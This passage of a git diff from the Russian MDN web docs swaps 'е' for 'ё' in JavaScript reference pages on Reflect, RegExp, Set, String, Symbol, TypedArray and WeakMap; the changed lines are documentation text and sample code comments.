        -// вернется "true" если вызов успешен
        +// вернётся "true" если вызов успешен
         // объект "duck" теперь содержит свойство "eyes" со значением "black"

        Спецификации

        diff --git a/files/ru/web/javascript/reference/global_objects/reflect/ownkeys/index.html b/files/ru/web/javascript/reference/global_objects/reflect/ownkeys/index.html index 8579639a52..c99438a6d8 100644 --- a/files/ru/web/javascript/reference/global_objects/reflect/ownkeys/index.html +++ b/files/ru/web/javascript/reference/global_objects/reflect/ownkeys/index.html @@ -5,7 +5,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/Reflect/ownKeys ---
        {{JSRef}}
        -

        Статический метод Reflect.ownKeys() возвращает массив имен, а также Symbols собственных полей объекта target .

        +

        Статический метод Reflect.ownKeys() возвращает массив имён, а также Symbols собственных полей объекта target .

        {{EmbedInteractiveExample("pages/js/reflect-ownkeys.html")}}
        diff --git a/files/ru/web/javascript/reference/global_objects/regexp/@@split/index.html b/files/ru/web/javascript/reference/global_objects/regexp/@@split/index.html index 80c4692d97..fffdadf7c9 100644 --- a/files/ru/web/javascript/reference/global_objects/regexp/@@split/index.html +++ b/files/ru/web/javascript/reference/global_objects/regexp/@@split/index.html @@ -40,7 +40,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/RegExp/@@split

        Этот метод существует для кастомизации поведения (разбиения) подкласса RegExp.

        -

        Если аргумент str не объект типа {{jsxref("RegExp")}}, метод {{jsxref("String.prototype.split()")}} не вызывается, так же не создается объект типа {{jsxref("RegExp")}}.

        +

        Если аргумент str не объект типа {{jsxref("RegExp")}}, метод {{jsxref("String.prototype.split()")}} не вызывается, так же не создаётся объект типа {{jsxref("RegExp")}}.

        Примеры

        diff --git a/files/ru/web/javascript/reference/global_objects/regexp/index.html b/files/ru/web/javascript/reference/global_objects/regexp/index.html index 20b0d9b10e..359a8f167d 100644 --- a/files/ru/web/javascript/reference/global_objects/regexp/index.html +++ b/files/ru/web/javascript/reference/global_objects/regexp/index.html @@ -293,7 +293,7 @@ var re = new RegExp('\\w+');
        @@ -380,7 +380,7 @@ var re = new RegExp('\\w+');

        Сопоставляется с x, только если x не предшествует y

        Например, /(?<!-)\d+/ сопоставится с цифрой, только если ей не предшествует минус.
        - /(?<!-)\d+/.exec('3') вернет "3".
        + /(?<!-)\d+/.exec('3') вернёт "3".
         /(?<!-)\d+/.exec('-3')  не сопоставится с цифрой, тк цифре перед цифрой 3 присутствует минус.

        diff --git a/files/ru/web/javascript/reference/global_objects/regexp/lastmatch/index.html b/files/ru/web/javascript/reference/global_objects/regexp/lastmatch/index.html index 3d86f2958e..89551d517b 100644 --- a/files/ru/web/javascript/reference/global_objects/regexp/lastmatch/index.html +++ b/files/ru/web/javascript/reference/global_objects/regexp/lastmatch/index.html @@ -19,7 +19,7 @@ RegExp['$&']

        Значение свойства lastMatch доступно только для чтение и изменяется при успешном совпадении с регулярным выражением.

        -

        Поскольку использование символа "&" приведет к выбрасыванию ошибки {{jsxref("SyntaxError")}}, обратиться к данному свойству с помощью точечной нотации(RegExp.$&) нельзя. Вместо этого стоит использовать скобочную нотацию (RegExp['$&']).

        +

        Поскольку использование символа "&" приведёт к выбрасыванию ошибки {{jsxref("SyntaxError")}}, обратиться к данному свойству с помощью точечной нотации(RegExp.$&) нельзя. Вместо этого стоит использовать скобочную нотацию (RegExp['$&']).

        Примеры

        diff --git a/files/ru/web/javascript/reference/global_objects/regexp/n/index.html b/files/ru/web/javascript/reference/global_objects/regexp/n/index.html index 4873c56af0..5becd52a06 100644 --- a/files/ru/web/javascript/reference/global_objects/regexp/n/index.html +++ b/files/ru/web/javascript/reference/global_objects/regexp/n/index.html @@ -5,7 +5,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/RegExp/n ---
        {{JSRef}} {{non-standard_header}}
        -

        Нестандартные свойства $1, $2, $3, $4, $5, $6, $7, $8, $9 являются статическими и доступными только для чтения свойствами регулярных выражений, которые содержат найденные подстроки, обернутые в скобки.

        +

        Нестандартные свойства $1, $2, $3, $4, $5, $6, $7, $8, $9 являются статическими и доступными только для чтения свойствами регулярных выражений, которые содержат найденные подстроки, обёрнутые в скобки.

        Синтаксис

        @@ -26,7 +26,7 @@ RegExp.$9

        Значения этих свойств не доступны для изменения, они модифицируются всякий раз при успешном совпадении регулярного выражения.

        -

        Количество возможных подстрок в круглых скобках неограничено, но объект RegExp может содержать в себе только последние 9. Вы можете получить доступ ко всем подстрокам, совпавшим с выражениями внутри круглых скобок, с помощью индексов возвращенного массива.

        +

        Количество возможных подстрок в круглых скобках неограничено, но объект RegExp может содержать в себе только последние 9. Вы можете получить доступ ко всем подстрокам, совпавшим с выражениями внутри круглых скобок, с помощью индексов возвращённого массива.

        Эти свойства могу использоваться при замене текста в методе {{jsxref("String.replace")}}. Когда используете его, не добавляйте их в RegExp. Пример ниже демонстрирует правильное применение. Когда круглые скобки не включены в регулярное выражение, код интерпретирует такие значения, как $n буквально, как литерал (n - положительное число).

        diff --git a/files/ru/web/javascript/reference/global_objects/regexp/unicode/index.html b/files/ru/web/javascript/reference/global_objects/regexp/unicode/index.html index ea9db422df..af771e9feb 100644 --- a/files/ru/web/javascript/reference/global_objects/regexp/unicode/index.html +++ b/files/ru/web/javascript/reference/global_objects/regexp/unicode/index.html @@ -53,7 +53,7 @@ console.log(regex.unicode); // true

        Совместимость с браузерами

        - +

        {{Compat("javascript.builtins.RegExp.unicode")}}

        diff --git a/files/ru/web/javascript/reference/global_objects/set/delete/index.html b/files/ru/web/javascript/reference/global_objects/set/delete/index.html index e2ecf26cfd..e6987bffe3 100644 --- a/files/ru/web/javascript/reference/global_objects/set/delete/index.html +++ b/files/ru/web/javascript/reference/global_objects/set/delete/index.html @@ -26,7 +26,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/Set/delete

        Возвращаемое значение

        -

        true, если элемент был успешно удален из объекта Set, иначе false.

        +

        true, если элемент был успешно удалён из объекта Set, иначе false.

        Примеры

        @@ -35,15 +35,15 @@ translation_of: Web/JavaScript/Reference/Global_Objects/Set/delete
        var mySet = new Set();
         mySet.add('foo');
         
        -mySet.delete('bar'); // Вернет false. Отсутствует элемент "bar" для удаления.
        -mySet.delete('foo'); // Вернет true.  Успешно удален.
        +mySet.delete('bar'); // Вернёт false. Отсутствует элемент "bar" для удаления.
        +mySet.delete('foo'); // Вернёт true.  Успешно удалён.
         
        -mySet.has('foo');    // Вернет false. Элемент "foo" больше не присутствует.
        +mySet.has('foo');    // Вернёт false. Элемент "foo" больше не присутствует.
         

        Давайте проверим как удалить Object из Set.

        -
        var setObj = new Set(); // Создаем новый Set.
        +
        var setObj = new Set(); // Создаём новый Set.
         
         setObj.add({x: 10, y: 20}); // Добавляем объект в набор.
         
        diff --git a/files/ru/web/javascript/reference/global_objects/set/foreach/index.html b/files/ru/web/javascript/reference/global_objects/set/foreach/index.html
        index 5ed212666b..643c1f4b3f 100644
        --- a/files/ru/web/javascript/reference/global_objects/set/foreach/index.html
        +++ b/files/ru/web/javascript/reference/global_objects/set/foreach/index.html
        @@ -60,7 +60,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/Set/forEach
         
         

        Содержимое объекта Set 

        -

        Приведенный код показывает состояние каждого элемента в объекте Set:

        +

        Приведённый код показывает состояние каждого элемента в объекте Set:

        function logSetElements(value1, value2, set) {
             console.log('s[' + value1 + '] = ' + value2);
        diff --git a/files/ru/web/javascript/reference/global_objects/set/set/index.html b/files/ru/web/javascript/reference/global_objects/set/set/index.html
        index 66e1d0108e..5dabdcbd5d 100644
        --- a/files/ru/web/javascript/reference/global_objects/set/set/index.html
        +++ b/files/ru/web/javascript/reference/global_objects/set/set/index.html
        @@ -18,7 +18,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/Set/Set
         
        iterable {{optional_inline}}
        -

        Если передается итеративный объект, все его элементы будут добавлены в новый Set.

        +

        Если передаётся итеративный объект, все его элементы будут добавлены в новый Set.

        Если вы не укажете этот параметр или его значение равно нулю, новый набор будет пустым.

        diff --git a/files/ru/web/javascript/reference/global_objects/sharedarraybuffer/index.html b/files/ru/web/javascript/reference/global_objects/sharedarraybuffer/index.html index d625a5a809..ecd0cb98a9 100644 --- a/files/ru/web/javascript/reference/global_objects/sharedarraybuffer/index.html +++ b/files/ru/web/javascript/reference/global_objects/sharedarraybuffer/index.html @@ -5,7 +5,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/SharedArrayBuffer ---
        {{JSRef}}
        -

        Объект SharedArrayBuffer используется для создания разделенного буфера фиксированной длины для хранения примитивных бинарных данных, подобно объекту {{jsxref("ArrayBuffer")}}, но могут быть использованы для создания обзора на разделенную память. В отличие от ArrayBufferSharedArrayBuffer не может быть отсоединен.

        +

        Объект SharedArrayBuffer используется для создания разделённого буфера фиксированной длины для хранения примитивных бинарных данных, подобно объекту {{jsxref("ArrayBuffer")}}, но могут быть использованы для создания обзора на разделённую память. В отличие от ArrayBufferSharedArrayBuffer не может быть отсоединен.

        Синтаксис

        @@ -29,15 +29,15 @@ translation_of: Web/JavaScript/Reference/Global_Objects/SharedArrayBuffer

        Для разделения памяти с помощью объекта {{jsxref("SharedArrayBuffer")}} между одним агентом в кластере и другим (агент может быть как основной программой web-страницы, так и одним из web-workers), используются postMessage и structured cloning.

        -

        Алгоритм структурированного клонирования принимает SharedArrayBuffers и TypedArrays, отображенный в SharedArrayBuffers. В обоих случаях, объект  SharedArrayBuffer передается получателю, результируя в новый, приватный объект SharedArrayBuffer внутри агента-получателя (так же как для {{jsxref("ArrayBuffer")}}). Однако, блок общих данных, на который ссылаются оба объекта SharedArrayBuffer, это один и тот же блок данных, и сторонние эффекты в блоке в одном из агентов в итоге станут заметны в другом агенте.

        +

        Алгоритм структурированного клонирования принимает SharedArrayBuffers и TypedArrays, отображённый в SharedArrayBuffers. В обоих случаях, объект  SharedArrayBuffer передаётся получателю, результируя в новый, приватный объект SharedArrayBuffer внутри агента-получателя (так же как для {{jsxref("ArrayBuffer")}}). Однако, блок общих данных, на который ссылаются оба объекта SharedArrayBuffer, это один и тот же блок данных, и сторонние эффекты в блоке в одном из агентов в итоге станут заметны в другом агенте.

        var sab = new SharedArrayBuffer(1024);
         worker.postMessage(sab);
         
        -

        Обновление и синхронизация разделенной памяти с помощью Атомарных операций

        +

        Обновление и синхронизация разделённой памяти с помощью Атомарных операций

        -

        Разделенная память может быть создана и изменена одновременно в  workers или основном потоке. В зависимости от системы (ЦПУ, ОС, браузер) может уйти время пока изменения будут распространены по всем контекстам. Для синхронизации необходимы {{jsxref("Атомарные", "атомарные", "", 1)}} операции .

        +

        Разделённая память может быть создана и изменена одновременно в  workers или основном потоке. В зависимости от системы (ЦПУ, ОС, браузер) может уйти время пока изменения будут распространены по всем контекстам. Для синхронизации необходимы {{jsxref("Атомарные", "атомарные", "", 1)}} операции .

        API, принимающие объекты SharedArrayBuffer

        @@ -61,7 +61,7 @@ worker.postMessage(sab);
        SharedArrayBuffer.length
        -
        Длина конструктора SharedArrayBuffer, чье значение равно 1.
        +
        Длина конструктора SharedArrayBuffer, чьё значение равно 1.
        {{jsxref("SharedArrayBuffer.prototype")}}
        Позволяет дополнительные свойства для всех объектов SharedArrayBuffer.
        diff --git a/files/ru/web/javascript/reference/global_objects/string/match/index.html b/files/ru/web/javascript/reference/global_objects/string/match/index.html index 2819776d46..e857555cc6 100644 --- a/files/ru/web/javascript/reference/global_objects/string/match/index.html +++ b/files/ru/web/javascript/reference/global_objects/string/match/index.html @@ -70,7 +70,7 @@ console.log(found); // '.1' - это последнее значение, сопоставленное с группой `(\.\d)`. // Свойство 'index' содержит значение (0) индекса совпадения // относительно начала сопоставления -// Свойство 'input' содержит значение введенной строки.
        +// Свойство 'input' содержит значение введённой строки.

        Пример: использование флагов глобальности и игнорирования регистра с методом match()

        diff --git a/files/ru/web/javascript/reference/global_objects/string/matchall/index.html b/files/ru/web/javascript/reference/global_objects/string/matchall/index.html index 6c8defbc17..1b698ae6cc 100644 --- a/files/ru/web/javascript/reference/global_objects/string/matchall/index.html +++ b/files/ru/web/javascript/reference/global_objects/string/matchall/index.html @@ -72,7 +72,7 @@ Array.from(matches, m => m[0]);

        Улучшенный доступ к группам захвата

        -

        Еще одна веская причина использовать matchAll это улучшенный доступ к группам захвата. Группы захвата игнорируются при использовании match() с глобальным флагом /g:

        +

        Ещё одна веская причина использовать matchAll это улучшенный доступ к группам захвата. Группы захвата игнорируются при использовании match() с глобальным флагом /g:

        var regexp = /t(e)(st(\d?))/g;
         var str = 'test1test2';
        diff --git a/files/ru/web/javascript/reference/global_objects/string/padend/index.html b/files/ru/web/javascript/reference/global_objects/string/padend/index.html
        index a380c3f50d..45c72b87e2 100644
        --- a/files/ru/web/javascript/reference/global_objects/string/padend/index.html
        +++ b/files/ru/web/javascript/reference/global_objects/string/padend/index.html
        @@ -11,7 +11,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/String/padEnd
         ---
         
        {{JSRef}}{{SeeCompatTable}}
        -

        Метод padEnd() дополняет текущую строку с помощью заданной строки (в конечном счете повторяя), так чтобы результирующая строка достигла заданной длины. Дополнение применяется в конце (справа) текущей строки.

        +

        Метод padEnd() дополняет текущую строку с помощью заданной строки (в конечном счёте повторяя), так чтобы результирующая строка достигла заданной длины. Дополнение применяется в конце (справа) текущей строки.

        Синтаксис

        @@ -23,7 +23,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/String/padEnd
        targetLength
        Длина результирующей строки, после того как текущая строка была дополнена. Если этот параметр меньше длины текущей строки, то будет возвращена текущая строка , как она есть.
        padString {{optional_inline}}
        -
        Строка для дополнения текущей строки с. Если эта строка слишком длинная, она будет урезана и будет применяться ее левая большая часть. " " (U+0020) - значение по умолчанию для этого параметра.
        +
        Строка для дополнения текущей строки с. Если эта строка слишком длинная, она будет урезана и будет применяться её левая большая часть. " " (U+0020) - значение по умолчанию для этого параметра.

        Возвращаемое значение

        @@ -39,7 +39,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/String/padEnd

        Характеристики

        -

        Этот метод еще не достиг стандарта ECMAScript. Сейчас он в состоянии proposal for ECMAScript.

        +

        Этот метод ещё не достиг стандарта ECMAScript. Сейчас он в состоянии proposal for ECMAScript.

        Совместимость с браузерами

        diff --git a/files/ru/web/javascript/reference/global_objects/string/replaceall/index.html b/files/ru/web/javascript/reference/global_objects/string/replaceall/index.html index 8ccf95507f..432f977fc5 100644 --- a/files/ru/web/javascript/reference/global_objects/string/replaceall/index.html +++ b/files/ru/web/javascript/reference/global_objects/string/replaceall/index.html @@ -7,7 +7,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/String/replaceAll

        Метод replaceAll() возвращает новую строку со всеми совпадениями pattern , который меняется на replacementpattern может быть строкой или регулярным выражением, и replacement может быть строкой или функция возвращающая каждое совпадение.

        -

        Исходная строка остается без изменений.

        +

        Исходная строка остаётся без изменений.

        {{EmbedInteractiveExample("pages/js/string-replaceall.html")}}
        @@ -19,14 +19,14 @@ translation_of: Web/JavaScript/Reference/Global_Objects/String/replaceAll
        -

        Когда вы используете `regexp` вы должны установить флаг глобального поиска ("g"), иначе вернется ошибка TypeError: "replaceAll must be called with a global RegExp".

        +

        Когда вы используете `regexp` вы должны установить флаг глобального поиска ("g"), иначе вернётся ошибка TypeError: "replaceAll must be called with a global RegExp".

        Parameters

        regexp (pattern)
        -
        Регулярное выражение или буква с глобальным флагом поиска ("g"). Совпадения меняются на newSubstr или значении возвращенное указанной функцией function. A RegExp без глобального флага поиска ("g") вернет ошибку TypeError: "replaceAll must be called with a global RegExp".
        +
        Регулярное выражение или буква с глобальным флагом поиска ("g"). Совпадения меняются на newSubstr или значении возвращённое указанной функцией function. A RegExp без глобального флага поиска ("g") вернёт ошибку TypeError: "replaceAll must be called with a global RegExp".
        substr
        Подстрока, которая заменится newSubstr. Обрабатывается как буквенная строка, не интерпретируется как регулярное выражение.
        newSubstr (replacement)
        @@ -45,7 +45,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/String/replaceAll

        Указание строки в качестве параметра

        -

        Замененная строка может включатся в следующие специальные шаблоны:

        +

        Заменённая строка может включатся в следующие специальные шаблоны:

        \n -

        Где n является целым положительным числом. Обратная ссылка на последнюю сопоставившуюся подстроку в n-ных по счёту круглых скобках в регулярном выражении (нумерация скобок идет слева направо).

        +

        Где n является целым положительным числом. Обратная ссылка на последнюю сопоставившуюся подстроку в n-ных по счёту круглых скобках в регулярном выражении (нумерация скобок идёт слева направо).

        Например, шаблон /яблоко(,)\sапельсин\1/ сопоставится подстроке «яблоко, апельсин,» в строке «яблоко, апельсин, вишня, персик». Более подробный пример смотрите после этой таблицы.

        @@ -82,7 +82,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/String/replaceAll

        Вы можете передать функцию вторым параметром. Этом случае, функция вызывается после нахождения совпадений. Результат функции может быть использована как замещающая строка. (Внимание: Выше упомянутые специальные шаблоны замены в данном случае неприменимы.)

        -

        Функция может быть вызвана многократно для каждого замененного совпадения, если регулярное выражение указано с глобальным флагом("g").

        +

        Функция может быть вызвана многократно для каждого заменённого совпадения, если регулярное выражение указано с глобальным флагом("g").

        Функция имеет следующие аргументы:

        diff --git a/files/ru/web/javascript/reference/global_objects/string/slice/index.html b/files/ru/web/javascript/reference/global_objects/string/slice/index.html index 5b6f3895c4..021c1839ae 100644 --- a/files/ru/web/javascript/reference/global_objects/string/slice/index.html +++ b/files/ru/web/javascript/reference/global_objects/string/slice/index.html @@ -35,7 +35,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/String/slice

        Возвращаемое значение

        -

        Новая строка, содержащая извлеченную часть строки.

        +

        Новая строка, содержащая извлечённую часть строки.

        Описание

        @@ -75,15 +75,15 @@ str.slice(0, -1); // вернёт 'Приближается утро'

        В этом примере начальным индексом считается 11-й символ с конца строки, а конечным - 16-й с начала.

        -
        str.slice(-11, 16); // вернет 'ается утр'
        +
        str.slice(-11, 16); // вернёт 'ается утр'

        Здесь начальным индексом считается 6-й символ от начала строки, а конечным - 7-й с конца.

        -
        str.slice(6, -7); // вернет 'жаетс'
        +
        str.slice(6, -7); // вернёт 'жаетс'

        В этом примере оба индекса считаются с конца строки: 5-й для начального индекса, 1-й для конечного.

        -
        str.slice(-5, -1); // вернет 'утро'
        +
        str.slice(-5, -1); // вернёт 'утро'

        Спецификации

        diff --git a/files/ru/web/javascript/reference/global_objects/symbol/for/index.html b/files/ru/web/javascript/reference/global_objects/symbol/for/index.html index 5b4a6ee85c..87d85f23ce 100644 --- a/files/ru/web/javascript/reference/global_objects/symbol/for/index.html +++ b/files/ru/web/javascript/reference/global_objects/symbol/for/index.html @@ -5,7 +5,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/Symbol/for ---
        {{JSRef}}
        -

        Метод Symbol.for(key) ищет ранее созданный разделяемый символ по заданному ключу и возвращает его, если он найден. В противном случае создается новый разделяемый символ для данного ключа в глобальном реестре символов.

        +

        Метод Symbol.for(key) ищет ранее созданный разделяемый символ по заданному ключу и возвращает его, если он найден. В противном случае создаётся новый разделяемый символ для данного ключа в глобальном реестре символов.

        Синтаксис

        diff --git a/files/ru/web/javascript/reference/global_objects/symbol/index.html b/files/ru/web/javascript/reference/global_objects/symbol/index.html index 739474189c..71361cc695 100644 --- a/files/ru/web/javascript/reference/global_objects/symbol/index.html +++ b/files/ru/web/javascript/reference/global_objects/symbol/index.html @@ -35,7 +35,7 @@ var sym2 = Symbol("foo"); var sym3 = Symbol("foo"); -

        Код выше создает три новых символа. Заметьте, что Symbol("foo") не выполняет приведение (англ. coercion) строки "foo" к символу. Это выражение создает каждый раз новый символ:

        +

        Код выше создаёт три новых символа. Заметьте, что Symbol("foo") не выполняет приведение (англ. coercion) строки "foo" к символу. Это выражение создаёт каждый раз новый символ:

        Symbol("foo") === Symbol("foo"); // false
        @@ -55,7 +55,7 @@ typeof symObj; // "object"

        Разделяемые символы в глобальном символьном реестре

        -

        Приведенный выше синтаксис, использующий функцию Symbol(), не создаст глобальный символ, который был бы доступен в любом месте вашего кода. Для создания символов, доступных во всех файлах и в окружении (глобальной области), используйте методы {{jsxref("Symbol.for()")}} и {{jsxref("Symbol.keyFor()")}}, чтобы задать или получить символ из глобального символьного реестра.

        +

        Приведённый выше синтаксис, использующий функцию Symbol(), не создаст глобальный символ, который был бы доступен в любом месте вашего кода. Для создания символов, доступных во всех файлах и в окружении (глобальной области), используйте методы {{jsxref("Symbol.for()")}} и {{jsxref("Symbol.keyFor()")}}, чтобы задать или получить символ из глобального символьного реестра.

        Поиск символьных свойств у объектов

        @@ -97,9 +97,9 @@ typeof symObj; // "object"
        {{jsxref("Symbol.hasInstance")}}
        Метод, определяющий, распознает ли конструктор некоторый объект как свой экземпляр. Используется оператором {{jsxref("Operators/instanceof", "instanceof")}}.
        {{jsxref("Symbol.isConcatSpreadable")}}
        -
        Булево значение, показывающее, должен ли объект быть сведен к плоскому представлению (англ. flatten) в виде массива его элементов функцией {{jsxref("Array.prototype.concat()")}}.
        +
        Булево значение, показывающее, должен ли объект быть сведён к плоскому представлению (англ. flatten) в виде массива его элементов функцией {{jsxref("Array.prototype.concat()")}}.
        {{jsxref("Symbol.unscopables")}}
        -
        Массив строковых имен свойств. Позволяет скрыть свойства от инструкции with (прежде всего для обратной совместимости).
        +
        Массив строковых имён свойств. Позволяет скрыть свойства от инструкции with (прежде всего для обратной совместимости).
        {{jsxref("Symbol.species")}}
        Метод, определяющий конструктор для порождённых объектов.
        {{jsxref("Symbol.toPrimitive")}}
        @@ -112,7 +112,7 @@ typeof symObj; // "object"
        {{jsxref("Symbol.for()", "Symbol.for(key)")}}
        -
        Ищет существующие символы по заданному ключу и возвращает его, если он найден. В противном случае создается новый символ для данного ключа в глобальном реестре символов.
        +
        Ищет существующие символы по заданному ключу и возвращает его, если он найден. В противном случае создаётся новый символ для данного ключа в глобальном реестре символов.
        {{jsxref("Symbol.keyFor", "Symbol.keyFor(sym)")}}
        Получает по разделяемому символу его ключ из глобального реестра символов.
        @@ -153,7 +153,7 @@ typeof Symbol.iterator === 'symbol'

        Символы и конструкция for...in

        -

        Символы не перечисляются при итерации {{jsxref("Statements/for...in","for...in")}}. В дополнение к этому, {{jsxref("Object.getOwnPropertyNames()")}} не вернет символьные свойства объекта. Тем не менее, их можно получить с помощью {{jsxref("Object.getOwnPropertySymbols()")}}.

        +

        Символы не перечисляются при итерации {{jsxref("Statements/for...in","for...in")}}. В дополнение к этому, {{jsxref("Object.getOwnPropertyNames()")}} не вернёт символьные свойства объекта. Тем не менее, их можно получить с помощью {{jsxref("Object.getOwnPropertySymbols()")}}.

        var obj = {};
         
        @@ -175,7 +175,7 @@ for (var i in obj) {
         
         

        Подробности см. {{jsxref("JSON.stringify()")}}.

        -

        Объекты-обёртки для Symbol в качестве имен свойств

        +

        Объекты-обёртки для Symbol в качестве имён свойств

        Когда объект-обёртка символа используется в качестве имени свойства, этот объект сводится к символу, который он оборачивает:

        diff --git a/files/ru/web/javascript/reference/global_objects/symbol/toprimitive/index.html b/files/ru/web/javascript/reference/global_objects/symbol/toprimitive/index.html index ac35c69346..1252063034 100644 --- a/files/ru/web/javascript/reference/global_objects/symbol/toprimitive/index.html +++ b/files/ru/web/javascript/reference/global_objects/symbol/toprimitive/index.html @@ -21,7 +21,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/Symbol/toPrimitive

        Описание

        -

        С помощью свойства Symbol.toPrimitive (которое описывается как функция), объект может быть приведен к примитивному типу. Функция вызывается со строковым аргументом hint, который передает желаемый тип примитива. Значением аргумента hint может быть одно из следующих значений "number", "string", и "default".

        +

        С помощью свойства Symbol.toPrimitive (которое описывается как функция), объект может быть приведён к примитивному типу. Функция вызывается со строковым аргументом hint, который передаёт желаемый тип примитива. Значением аргумента hint может быть одно из следующих значений "number", "string", и "default".

        Примеры

        diff --git a/files/ru/web/javascript/reference/global_objects/typedarray/index.html b/files/ru/web/javascript/reference/global_objects/typedarray/index.html index 17bd236f34..3db99bf074 100644 --- a/files/ru/web/javascript/reference/global_objects/typedarray/index.html +++ b/files/ru/web/javascript/reference/global_objects/typedarray/index.html @@ -35,7 +35,7 @@ Int8Array(), Uint8Array(), Uint8ClampedArray(), Int16Array(), Uint16Array(), Int
        object
        Новый массив создаётся так, как если бы была вызвана функция TypedArray.from()
        buffer, byteOffset, length
        -
        Когда происходит вызов с параметрами buffer и опциональными параметрами byteOffset и length, то будет создан новый типизированный массив, который будет отражать buffer типа {{jsxref("ArrayBuffer")}}. Параметры byteOffset и length определяют диапазон (размер) памяти, выводимый данным массивоподобным представлением. Если оба этих параметра (byteOffset и length) опущены, то будет использован весь буфер buffer; если опущен только length, то будет выведен весь остаток буфера после смещения начала отсчета элементов, заданного параметром byteOffset.
        +
        Когда происходит вызов с параметрами buffer и опциональными параметрами byteOffset и length, то будет создан новый типизированный массив, который будет отражать buffer типа {{jsxref("ArrayBuffer")}}. Параметры byteOffset и length определяют диапазон (размер) памяти, выводимый данным массивоподобным представлением. Если оба этих параметра (byteOffset и length) опущены, то будет использован весь буфер buffer; если опущен только length, то будет выведен весь остаток буфера после смещения начала отсчёта элементов, заданного параметром byteOffset.

        Описание

        @@ -218,7 +218,7 @@ for (var k in typedArrayTypes)
        - + diff --git a/files/ru/web/javascript/reference/global_objects/unescape/index.html b/files/ru/web/javascript/reference/global_objects/unescape/index.html index b0052bf0dc..0aecf842d0 100644 --- a/files/ru/web/javascript/reference/global_objects/unescape/index.html +++ b/files/ru/web/javascript/reference/global_objects/unescape/index.html @@ -11,7 +11,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/unescape

        Описание

        -

        Устаревший метод unescape(str) создает новую строку в которой шестнадцатеричная последовательность символов вида %xx заменяется эквивалентами из кодировки ASCII. Знаки, закодированные в формате %uxxxx (знаки Юникода), заменяются знаками Юникода в шестнадцатеричной кодировке xxxx.

        +

        Устаревший метод unescape(str) создаёт новую строку в которой шестнадцатеричная последовательность символов вида %xx заменяется эквивалентами из кодировки ASCII. Знаки, закодированные в формате %uxxxx (знаки Юникода), заменяются знаками Юникода в шестнадцатеричной кодировке xxxx.

        Последовательность может быть результатом работы функции вроде {{jsxref("Global_Objects/escape", "escape")}}. Т.к. {{jsxref("Global_Objects/decodeURIComponent", "unescape")}} является устаревшей, используйте {{jsxref("Global_Objects/decodeURI", "decodeURI")}} или {{jsxref("Global_Objects/decodeURIComponent", "decodeURIComponent")}} вместо неё.

        diff --git a/files/ru/web/javascript/reference/global_objects/uneval/index.html b/files/ru/web/javascript/reference/global_objects/uneval/index.html index 21cd4e9958..2fa30aeeaa 100644 --- a/files/ru/web/javascript/reference/global_objects/uneval/index.html +++ b/files/ru/web/javascript/reference/global_objects/uneval/index.html @@ -10,7 +10,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/uneval
        Сводка
        -

        uneval() метод создает строковое представление исходного кода объекта.

        +

        uneval() метод создаёт строковое представление исходного кода объекта.

        Синтаксис

        diff --git a/files/ru/web/javascript/reference/global_objects/weakmap/clear/index.html b/files/ru/web/javascript/reference/global_objects/weakmap/clear/index.html index 260264b01d..e99dbd4a2d 100644 --- a/files/ru/web/javascript/reference/global_objects/weakmap/clear/index.html +++ b/files/ru/web/javascript/reference/global_objects/weakmap/clear/index.html @@ -32,7 +32,7 @@ wm.has(window) // false

        Спецификации

        -

        Не входит ни в одну текущую спецификацию или черновик. Этот метод был частью черновика ECMAScript 6, до 28 ревизии (версия от 14 октября, 2014), но был удален в последующих версиях черновика. В финальном стандарте его не будет.

        +

        Не входит ни в одну текущую спецификацию или черновик. Этот метод был частью черновика ECMAScript 6, до 28 ревизии (версия от 14 октября, 2014), но был удалён в последующих версиях черновика. В финальном стандарте его не будет.

        Совместимость с браузерами

        diff --git a/files/ru/web/javascript/reference/global_objects/weakmap/delete/index.html b/files/ru/web/javascript/reference/global_objects/weakmap/delete/index.html index 8072855d1e..595f0ab82e 100644 --- a/files/ru/web/javascript/reference/global_objects/weakmap/delete/index.html +++ b/files/ru/web/javascript/reference/global_objects/weakmap/delete/index.html @@ -15,7 +15,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/WeakMap/delete
        key
        -
        Обязателен. Ключ элемента, который будет уделен из объекта WeakMap.
        +
        Обязателен. Ключ элемента, который будет уделён из объекта WeakMap.

        Возвращаемое значение

        diff --git a/files/ru/web/javascript/reference/global_objects/weakmap/index.html b/files/ru/web/javascript/reference/global_objects/weakmap/index.html index 1bf1b3c017..c849670ad7 100644 --- a/files/ru/web/javascript/reference/global_objects/weakmap/index.html +++ b/files/ru/web/javascript/reference/global_objects/weakmap/index.html @@ -27,7 +27,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/WeakMap

        Почему WeakMap?

        -

        Опытный JavaScript разработчик заметит, что map API можно реализовать на JavaScript c помощью двух массивов (один для ключей, второй для значений) и четырех общих API методов. Установка элементов в этот map должна будет одновременно запушить ключи и значения. В результате индексы ключа и значения будут корректными. Получение значений с map потребует итерирование ключей, чтобы найти совпадение, а затем использование индекса этого соответствия для извлечения соответствующего значения из массива значений.

        +

        Опытный JavaScript разработчик заметит, что map API можно реализовать на JavaScript c помощью двух массивов (один для ключей, второй для значений) и четырёх общих API методов. Установка элементов в этот map должна будет одновременно запушить ключи и значения. В результате индексы ключа и значения будут корректными. Получение значений с map потребует итерирование ключей, чтобы найти совпадение, а затем использование индекса этого соответствия для извлечения соответствующего значения из массива значений.

